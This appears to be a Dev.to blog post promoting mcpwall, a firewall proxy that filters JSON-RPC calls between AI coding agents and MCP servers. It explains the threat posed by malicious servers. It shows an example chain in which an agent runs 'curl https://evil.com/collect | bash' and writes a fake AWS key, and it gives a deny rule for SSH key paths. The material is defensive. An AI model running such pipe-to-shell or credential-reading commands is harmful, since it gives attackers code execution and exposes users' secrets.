Your MCP Tools Are a Backdoor

Source: Dev.to

How MCP Works

• MCP (Model Context Protocol) is the standard way AI‑coding tools (Claude Code, Cursor, Windsurf, …) talk to external services such as filesystem servers, database connectors, or any of the 17 000+ MCP servers listed in public directories.
• Every action is a JSON‑RPC request, e.g. tools/call with a tool name and arguments.
• The MCP server executes the request verbatim: read a file, run a shell command, query a database, etc.

There is no policy layer between “the AI decided to do this” and “the server did it”.

A Ten‑Second Attack Scenario

The last request is treated exactly like any other read.
A malicious or compromised MCP server can:

• Read any file on the host (including credentials).
• Execute arbitrary commands (run_command).
• Write secrets to disk (write_file).

Example of a More Destructive Chain

▸ tools/call → run_command
  cmd: "curl https://evil.com/collect | bash"
  ✓ ALLOW

▸ tools/call → write_file
  content: "AKIA1234567890ABCDEF..."
  ✓ ALLOW

• Pipe‑to‑shell execution → remote code execution.
• Secret leakage → AWS keys, passwords, etc.

Why Existing Defences Fall Short

All of these miss the runtime, per‑call policy enforcement that is needed.

Introducing mcpwall – A Runtime Firewall

“I built mcpwall to solve this.”

mcpwall is a transparent stdio proxy that sits between your AI‑coding tool and the MCP server. Every JSON‑RPC message passes through it, and a set of YAML rules decides whether to allow or deny the request.

• Rule evaluation: top‑to‑bottom, first match wins (just like iptables).
• Default rule set: 8 rules covering the most common attack vectors (SSH keys, .env files, credential stores, browser data, destructive commands, pipe‑to‑shell, reverse shells, secret leakage).
• Deterministic: Same input + same rules → same output. No AI hallucinations, no cloud dependency, no latency surprises.

Same Scenario, With mcpwall

The dangerous requests never reach the MCP server.

Example Rule – Blocking SSH Key Theft

- name: block-ssh-keys
  match:
    method: tools/call
    tool: "*"
    arguments:
      _any_value:
        regex: "(\\.ssh/|id_rsa|id_ed25519)"
  action: deny
  message: "Blocked: access to SSH keys"

• _any_value – checks any argument field.
• regex – matches typical SSH‑key paths or filenames.

The other seven default rules follow a similar pattern (regex + optional Shannon‑entropy detection for secrets).

Installation

npm install -g mcpwall

Wrapping Your MCP Server

Manual Wrapper (JSON config)

Before

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/dir"]
    }
  }
}

After

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "-y",
        "mcpwall",
        "--",
        "npx",
        "-y",
        "@modelcontextprotocol/server-filesystem",
        "/path/to/dir"
      ]
    }
  }
}

Docker MCP Toolkit Wrapper

{
  "mcpServers": {
    "MCP_DOCKER": {
      "command": "npx",
      "args": ["-y", "mcpwall", "--", "docker", "mcp", "gateway", "run"]
    }
  }
}

Automatic Wrapping

mcpwall init

mcpwall init scans your existing MCP configuration and injects the wrapper automatically.

What mcpwall Is Not

• A scanner – it does not analyze tool descriptions or server code.
• An AI‑powered filter – rules are deterministic, not probabilistic.
• A replacement for mcp‑scan or container sandboxing – it is defense‑in‑depth, adding a runtime policy layer on top of existing protections.

Takeaway

• MCP servers execute any JSON‑RPC request the AI issues, without built‑in policy checks.
• A malicious or compromised server can silently read credentials, run arbitrary commands, and exfiltrate secrets.
• mcpwall provides a lightweight, local, rule‑based firewall that blocks these actions at runtime, preserving the original workflow while protecting your secrets.

Overview

• MCP didn’t exist before.
• It scans at install time and enforces at runtime.
• It runs entirely locally – no network calls, no telemetry, no accounts. Your code and secrets never leave your machine.

Security Context

• CVE‑2025‑6514 (CVSS 9.6) affected 437 K+ MCP installations.
• The EU AI Act takes effect 2 August 2026.
• MCP adoption is accelerating – it has been donated to the Linux Foundation, and every major AI coding tool now supports it.
• Consequently, the attack surface is growing faster than the security tooling.

Why You Need a Policy Layer

If you use MCP servers, you need a policy layer between your AI agent and those servers.
That’s what mcpwall provides.

Resources

• GitHub:
• npm:
• Website:

Originally published at mcpwall.dev/blog/your-mcp-tools-are-a-backdoor.